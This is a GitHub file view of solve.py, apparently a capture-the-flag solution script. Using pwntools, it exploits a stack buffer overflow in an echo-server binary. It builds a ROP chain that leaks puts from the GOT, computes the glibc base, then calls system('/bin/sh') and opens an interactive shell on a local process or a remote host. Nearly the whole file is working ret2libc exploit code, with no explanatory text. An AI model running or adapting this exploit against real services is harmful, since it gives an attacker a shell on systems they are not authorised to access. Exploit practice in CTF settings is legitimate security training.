-
Notifications
You must be signed in to change notification settings - Fork 4
/
solve.py
executable file
·63 lines (43 loc) · 1.35 KB
/
solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('vuln_patched')
glibc = ELF('libc.so.6', checksec=False)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
def main():
p = get_process()
offset = 136
junk = b'A' * offset
pop_rdi_ret = 0x400913
puts_got = 0x601018
puts_plt = 0x400540
main_addr = 0x400771
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
p.recvline()
puts_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
puts_offset = 0x80a30
glibc_base_addr = puts_addr - puts_offset
log.info(f'Glibc base address: {hex(glibc_base_addr)}')
system_offset = 0x4f4e0
bin_sh_offset = 0x1b40fa
system_addr = glibc_base_addr + system_offset
bin_sh_addr = glibc_base_addr + bin_sh_offset
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(pop_rdi_ret + 1)
payload += p64(system_addr)
p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
p.recvline()
p.interactive()
if __name__ == '__main__':
main()